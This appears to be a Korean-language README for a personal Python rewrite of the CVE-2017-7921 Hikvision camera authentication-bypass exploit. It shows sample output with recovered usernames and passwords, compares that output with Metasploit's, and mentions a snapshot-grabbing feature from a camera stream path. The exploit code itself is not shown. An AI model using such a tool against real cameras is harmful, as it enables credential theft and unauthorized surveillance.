CVE-2017-7921-rewrite

제가 파이썬으로 작성한 간단한 CVE-2017-7921 재작성입니다. 교육 목적으로만 사용하세요!

좀 단순합니다. IP 같은 것들에 대한 검사나 응답에 대한 고급 검사는 포함하지 않았습니다. 로컬 네트워크 안에서 테스트할 권한이 있는 카메라로 테스트했으며 완벽하게 작동하는 것 같습니다.

#예제 출력:

python 2017.py
found usernames: admin,defualt
admin:Pa$$W0rd
defualt:Xf07732479

이것은 "msfconsole"에서 동일한 익스플로잇을 사용할 때 얻게 될 자격 증명과 일치합니다.

[*] User Credentials Information:
-----------------------------
User:admin | ID:1 | Role:Administrator | Password: Pa$$W0rd
User:defualt | ID:2 | Role:Operator | Password: Xf07732479

#출처 실제 세부 정보: https://medium.com/@k3yb0ard/when-you-pay-to-sell-your-own-privacy-a-technical-deep-dive-into-cve-2017-7921-hikvision-auth-576b581f4afe

cve: https://nvd.nist.gov/vuln/detail/cve-2017-7921

#업데이트 또한 /Streaming/channels/1/picture에서 스냅샷을 가져와 ip.jpg 파일로 저장할 수 있는 스냅샷 기능도 추가했습니다.